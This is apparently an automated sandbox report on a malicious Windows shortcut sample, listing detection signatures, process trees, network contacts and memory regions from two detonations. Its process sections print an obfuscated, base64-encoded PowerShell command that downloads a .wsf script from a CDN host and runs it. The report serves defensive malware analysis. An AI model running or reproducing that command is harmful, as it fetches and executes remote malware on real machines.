Malware Analysis Report

2025-01-18 01:06

Sample ID 240613-g7cj8s1fnn
Target a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118
SHA256 6fc29cd5b03a534c23de07c8312a3455b00b959ddd554567a7f71cab6ba6a1c1
Tags
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

6fc29cd5b03a534c23de07c8312a3455b00b959ddd554567a7f71cab6ba6a1c1

Threat Level: Shows suspicious behavior

The file a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118 was found to be: Shows suspicious behavior.

Malicious Activity Summary


Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-13 06:26

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 06:26

Reported

2024-06-13 06:28

Platform

win7-20240611-en

Max time kernel

120s

Max time network

121s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk

C:\windows\system32\cmd.exe

"C:\windows\system32\cmd.exe" /C C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -wi 1 -e KAAnACQAYwAwAD0AIgBTAHQAYQByAHQAIgA7ACQAawAxAD0AIgBCAGkAdABzACIAOwAkAG4AMgA9ACIAVAByAGEAbgBzAGYAZQByACIAOwAkAGEAMwA9ACIAUAByAG8AYwBlAHMAcwAiADsAJwB8AEkARQBYACkAOwAoACIASQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgACQAawAxACQAbgAyADsAJABjADAAJwAtACcAJABrADEAJABuADIAIABoAHQAdABwAHMAOgAvAC8AMQA1ADkAMQA1ADIAMwA3ADUAMwAuAHIAcwBjAC4AYwBkAG4ANwA3AC4AbwByAGcALwBhAC8APwBhAEgAUgAwAGMASABNADYATAB5ADgAeABOAFQAawB4AE4AVABJAHoATgB6AFUAegBMAG4ASgB6AFkAeQA1AGoAWgBHADQAMwBOAHkANQB2AGMAbQBkADgAYQAwAGQAQgBWAHcAJQAzAEQAJQAzAEQAIAB5AGYAZwBvAGQAZQBrAGIAbQBwAGkAcQBzAG8AaQBuAC4AdwBzAGYAOwAkAGMAMAAnAC0AJwAkAGEAMwAgAHkAZgBnAG8AZABlAGsAYgBtAHAAaQBxAHMAbwBpAG4ALgB3AHMAZgAiAHwASQBFAFgAKQA=

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -wi 1 -e KAAnACQAYwAwAD0AIgBTAHQAYQByAHQAIgA7ACQAawAxAD0AIgBCAGkAdABzACIAOwAkAG4AMgA9ACIAVAByAGEAbgBzAGYAZQByACIAOwAkAGEAMwA9ACIAUAByAG8AYwBlAHMAcwAiADsAJwB8AEkARQBYACkAOwAoACIASQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgACQAawAxACQAbgAyADsAJABjADAAJwAtACcAJABrADEAJABuADIAIABoAHQAdABwAHMAOgAvAC8AMQA1ADkAMQA1ADIAMwA3ADUAMwAuAHIAcwBjAC4AYwBkAG4ANwA3AC4AbwByAGcALwBhAC8APwBhAEgAUgAwAGMASABNADYATAB5ADgAeABOAFQAawB4AE4AVABJAHoATgB6AFUAegBMAG4ASgB6AFkAeQA1AGoAWgBHADQAMwBOAHkANQB2AGMAbQBkADgAYQAwAGQAQgBWAHcAJQAzAEQAJQAzAEQAIAB5AGYAZwBvAGQAZQBrAGIAbQBwAGkAcQBzAG8AaQBuAC4AdwBzAGYAOwAkAGMAMAAnAC0AJwAkAGEAMwAgAHkAZgBnAG8AZABlAGsAYgBtAHAAaQBxAHMAbwBpAG4ALgB3AHMAZgAiAHwASQBFAFgAKQA=

Network

Country Destination Domain Proto
US 8.8.8.8:53 1591523753.rsc.cdn77.org udp
GB 195.181.164.15:443 1591523753.rsc.cdn77.org tcp
GB 195.181.164.15:443 1591523753.rsc.cdn77.org tcp

Files

memory/2688-40-0x000007FEF586E000-0x000007FEF586F000-memory.dmp

memory/2688-41-0x000000001B570000-0x000000001B852000-memory.dmp

memory/2688-42-0x0000000002620000-0x0000000002628000-memory.dmp

memory/2688-43-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

memory/2688-45-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

memory/2688-44-0x0000000002CD0000-0x0000000002CF2000-memory.dmp

memory/2688-46-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

memory/2688-47-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

memory/2688-49-0x0000000002A20000-0x0000000002A32000-memory.dmp

memory/2688-48-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

memory/2688-50-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 06:26

Reported

2024-06-13 06:28

Platform

win10v2004-20240508-en

Max time kernel

143s

Max time network

149s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 936 wrote to memory of 1956 N/A C:\Windows\system32\cmd.exe C:\windows\system32\cmd.exe
PID 936 wrote to memory of 1956 N/A C:\Windows\system32\cmd.exe C:\windows\system32\cmd.exe
PID 1956 wrote to memory of 1164 N/A C:\windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1956 wrote to memory of 1164 N/A C:\windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk

C:\windows\system32\cmd.exe

"C:\windows\system32\cmd.exe" /C C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -wi 1 -e KAAnACQAYwAwAD0AIgBTAHQAYQByAHQAIgA7ACQAawAxAD0AIgBCAGkAdABzACIAOwAkAG4AMgA9ACIAVAByAGEAbgBzAGYAZQByACIAOwAkAGEAMwA9ACIAUAByAG8AYwBlAHMAcwAiADsAJwB8AEkARQBYACkAOwAoACIASQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgACQAawAxACQAbgAyADsAJABjADAAJwAtACcAJABrADEAJABuADIAIABoAHQAdABwAHMAOgAvAC8AMQA1ADkAMQA1ADIAMwA3ADUAMwAuAHIAcwBjAC4AYwBkAG4ANwA3AC4AbwByAGcALwBhAC8APwBhAEgAUgAwAGMASABNADYATAB5ADgAeABOAFQAawB4AE4AVABJAHoATgB6AFUAegBMAG4ASgB6AFkAeQA1AGoAWgBHADQAMwBOAHkANQB2AGMAbQBkADgAYQAwAGQAQgBWAHcAJQAzAEQAJQAzAEQAIAB5AGYAZwBvAGQAZQBrAGIAbQBwAGkAcQBzAG8AaQBuAC4AdwBzAGYAOwAkAGMAMAAnAC0AJwAkAGEAMwAgAHkAZgBnAG8AZABlAGsAYgBtAHAAaQBxAHMAbwBpAG4ALgB3AHMAZgAiAHwASQBFAFgAKQA=

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -wi 1 -e KAAnACQAYwAwAD0AIgBTAHQAYQByAHQAIgA7ACQAawAxAD0AIgBCAGkAdABzACIAOwAkAG4AMgA9ACIAVAByAGEAbgBzAGYAZQByACIAOwAkAGEAMwA9ACIAUAByAG8AYwBlAHMAcwAiADsAJwB8AEkARQBYACkAOwAoACIASQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgACQAawAxACQAbgAyADsAJABjADAAJwAtACcAJABrADEAJABuADIAIABoAHQAdABwAHMAOgAvAC8AMQA1ADkAMQA1ADIAMwA3ADUAMwAuAHIAcwBjAC4AYwBkAG4ANwA3AC4AbwByAGcALwBhAC8APwBhAEgAUgAwAGMASABNADYATAB5ADgAeABOAFQAawB4AE4AVABJAHoATgB6AFUAegBMAG4ASgB6AFkAeQA1AGoAWgBHADQAMwBOAHkANQB2AGMAbQBkADgAYQAwAGQAQgBWAHcAJQAzAEQAJQAzAEQAIAB5AGYAZwBvAGQAZQBrAGIAbQBwAGkAcQBzAG8AaQBuAC4AdwBzAGYAOwAkAGMAMAAnAC0AJwAkAGEAMwAgAHkAZgBnAG8AZABlAGsAYgBtAHAAaQBxAHMAbwBpAG4ALgB3AHMAZgAiAHwASQBFAFgAKQA=

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4164,i,13281073920029625837,8253721632651544158,262144 --variations-seed-version --mojo-platform-channel-handle=4028 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 1591523753.rsc.cdn77.org udp

Files

memory/1164-0-0x00007FFE86713000-0x00007FFE86715000-memory.dmp

memory/1164-1-0x0000026F5C4A0000-0x0000026F5C4C2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lhkllqwn.ala.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1164-11-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

memory/1164-12-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

memory/1164-13-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

memory/1164-14-0x0000026F5C5F0000-0x0000026F5C616000-memory.dmp

memory/1164-15-0x0000026F5C650000-0x0000026F5C664000-memory.dmp

memory/1164-16-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

memory/1164-17-0x00007FFE86713000-0x00007FFE86715000-memory.dmp

memory/1164-18-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

memory/1164-21-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp